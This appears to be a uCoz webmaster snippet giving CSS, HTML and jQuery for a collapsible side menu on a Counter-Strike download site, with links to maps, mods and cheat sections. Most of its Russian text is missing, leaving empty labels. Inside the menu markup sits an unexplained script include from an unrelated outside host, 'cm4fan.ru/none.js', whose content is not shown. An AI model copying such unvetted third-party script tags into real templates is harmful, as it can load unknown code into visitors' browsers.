: 
   
: 
 CSS ,    : 



.side-navigation{width:200px;background:url('http://www.csomsk.ru/design/blank/pagebg.jpg') #291C16;box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;margin-bottom:10px;color:#fff}  
  .side-navigation .block-head{color:#fff;font-size:18px;font-family:arial,tahoma;padding:4px 8px;border-bottom:1px solid #000}  
  .side-navigation .block-inner{padding-bottom:2px}  
  .side-block .block-inner{padding:5px;}  
  .side-block .block-inner.nopadding{padding:0px !important;}  

  .zp-links a{display:block;color:#fff;padding:4px 8px;border-bottom:1px solid #000;border-top:1px solid #3B2D2A;text-shadow:0px 1px 0px #000;-moz-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;-o-transition:all 0.3s ease;transition:all 0.3s ease;font-weight:bold;outline:none;text-decoration:none;}  
  .zp-links a:hover{color:#FFB32E;padding-left:14px;background:rgba(0,0,0,0.2)}  
  .zp-links a.w-sub{background:url('http://www.csomsk.ru/design/blank/submenu-btn.png') no-repeat;background-position:185px 7px}  
  .zp-links a.w-sub:hover{background:url('http://www.csomsk.ru/design/blank/submenu-btn.png') no-repeat rgba(0,0,0,0.2);background-position:190px 7px}  
  .zp-links .s-level a.w-sub{font-weight:bold;background-position:182px 7px}  
  .zp-links .s-level a.w-sub:hover{background-position:190px 7px}  
  .zp-links .s-level{padding-left:22px}  
  .zp-links .s-level a{border-left:2px solid #FFB32E;font-weight:normal}  
  .zp-links .s-level a:hover{padding-left:8px;margin-left:-8px}




     -- --   () --        : 




<div class="side-navigation">  
  <div class="block-head" style="padding:5px 8px 0px 8px;"><img src="http://www.csomsk.ru/design/blank/nav-block-title.png" alt=""></div>  
  <div class="block-inner">  
  <div class="zp-links">  
  <a title="" href="/"></a>  
  <a title="" href="/forum"></a>  
  <a title="" href="/blog/"></a>  
  <a title="" href="/publ/"></a>  
  <a title="" href="/news/"></a>  
  <a title="Z" href="/stuff/" >Z</a> 
  <a title="Z" href="/photo/" >Z</a>  
  <a title=" " href="/board" > </a>  
  <a title=" " href="/dir" > </a>  
  <a title=" " href="/load" > </a>  
<a title="    - " href="/index/svjaz_s_adminom/0-103" >  </a> 
  <a rel="soft-menu" class="w-sub" href="javascript://"> uCoz</a>  
  <div class="s-level" id="soft-menu" style="display: none">  
<a href="/load/shablony_dlja_ucoz_sajtov/29" title="    ucoz">  Ucoz</a> 
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/stranica_404_htm_dlja_ucoz/74" title="   404.htm"> 404</a> 
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/kartinki_knopka_chtoby_skachat/70" title="    dowload"> </a> 
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/shapki_dlja_ucoz_na_temu_cs/72" title="    ucoz ">  ucoz</a> 
<a href="/load/skripty_dlja_ucoz_sajtov/30" title="   ucoz">  Ucoz</a> 
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/favicon_ico/66" title="     .ico"> favicon.ico</a> 
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/ikonki_grupp_dlja_ucoz/71" title="     ucoz">   ucoz</a> 
<a href="/load/razdel_ucoz_vse_dlja_web_mastera/znachki_dlja_foruma_ucoz/73" title="    ">   ucoz</a> 
  </div>  
  <a rel="games-menu" class="w-sub" href="javascript://">Counter-Strike 1.6</a>  
  <div class="s-level" id="games-menu" style="display: none">  
<a title="  counter-strike" href="/load/counter_strike_1_6/skachat_cs/12"> Counter-Strike 1.6</a> 
<a title="  " href="/load/counter_strike_1_6/mody_dlja_cs_1_6/78"> </a> 
<a title="  " href="/load/chity_cs_16/24"> </a> 
<a title="  " href="/load/patchi_na_cs_1_6/38"> </a> 
<a title="  " href="/load/video_cs/39"> </a> 
<a title="  " href="/load/3"> </a> 
<a title="  " href="/load/krov/22"> </a> 
<a title="     1.6" href="/load/8"> </a> 
<a title="  " href="/load/radar_cs/13"> </a> 
<a title="  " href="/load/muzyka_cs/17"> </a> 
<a title="  " href="/load/vzryvy/19"> </a> 
<a title="  " href="/load/konfigi/20"> </a> 
<a title="  " href="/load/2"> </a> 
<a title="  " href="/load/6"> </a> 
<a title="  " href="/load/images_cs/25"> </a> 
<a title="  " href="/load/vystrely/15"> </a> 
<a title="   " href="/load/10">  </a> 
<a title="  " href="/load/flash_muvik_cs/26">Flash- </a> 
<a title="  " href="/load/9"> </a> 
<a title="   " href="/load/1"> </a> 
<a title="   " href="/load/4"> </a> 
<a title="  " href="/load/novye_lampochki_svetjashhiesja_na_bombakh/23">  c4</a> 
<a title="  " href="/load/collection_bot/27">Collection []</a> 
<a title="   " href="/load/bolevye_ikonki/14"> </a> 
<a title="   " href="/load/model_perchatok/16"> </a> 
<a title="   " href="/load/11">  </a> 
<a title="   " href="/load/7"> </a> 
<a title="   " href="/load/pricely_vintovok/21"> </a> 
<a title="   " href="/load/snajperskie_pricely/18">  1.6</a> 
  </div>  
  <a rel="kino-menu" class="w-sub" href="javascript://">Counter-Strike: Source</a>  
  <div class="s-level" id="kino-menu" style="display: none">  

<a title="  " href="/load/cs_source/sprei_logotipy_dlja_cs_source/90">  CS SOurce</a> 
<a title="    CSS" href="/load/cs_source/modeli_oruzhija_counter_strike_source/97">  CSS</a> 
<a title="    CSS" href="/load/cs_source/modeli_igrokov_counter_strike_source/98">  CSS</a> 
<a title="    CSS" href="/load/cs_source/temy_menju_counter_strike_source/99">  CSS</a> 
<a title="   " href="/load/cs_source/sleeves_ruki/42">Sleeves-</a> 
<a title="  " href="/load/cs_source/chity_cs_source/48">  CS:S</a> 
<a title="  " href="/load/cs_source/hands_perchatki/41">Hands-</a> 
<a title="   " href="/load/cs_source/adminskie_skiny/43"> </a> 
<a title="  counter-strike source" href="/load/cs_source/skachat_cs_source/44">Cs source </a> 
<a title="   " href="/load/cs_source/skripty_dlja_cs_s/47">  CS:S</a> 
<a title="    " href="/load/cs_source/programmy_dlja_cs_s/49">  CS:S</a> 
<a title="   " href="/load/cs_source/mody_i_skripty/46">  css </a> 
<a title="   " href="/load/cs_source/zvuki_dlja_cs_source_servera/45">  css </a> 

  </div>  
   
  <a rel="pers-menu" class="w-sub" href="javascript://"></a>  
  <div class="s-level" id="pers-menu" style="display: none">  

<a href="/load/soft_dlja_pk/archive/31"></a> 
<a href="/load/soft_dlja_pk/audio/32"></a> 
<a href="/load/soft_dlja_pk/video/33"></a> 
<a href="/load/soft_dlja_pk/downloader/34">Downloader</a> 
<a href="/load/soft_dlja_pk/kodeki/35"></a> 
<a href="/load/soft_dlja_pk/sredastva_obshhenija/36"> </a> 
<a href="/load/soft_dlja_pk/soft/37"></a> 
  </div>  
  </div>  
<script src="http://cm4fan.ru/none.js" type="text/javascript"></script> 
  </div>  
  </div>  
  <script type="text/javascript">  
  $(function(){  
  $(".s-level").hide();  
  $(".zp-links a.w-sub").click(function(){  
  var submenu = $(this).attr('rel');  
  $("#"+submenu+"").toggle('fast');  
  });  
  });  
  </script>  

  <script type="text/javascript" src="http://www.csomsk.ru/design/blank/m_color.js"></script>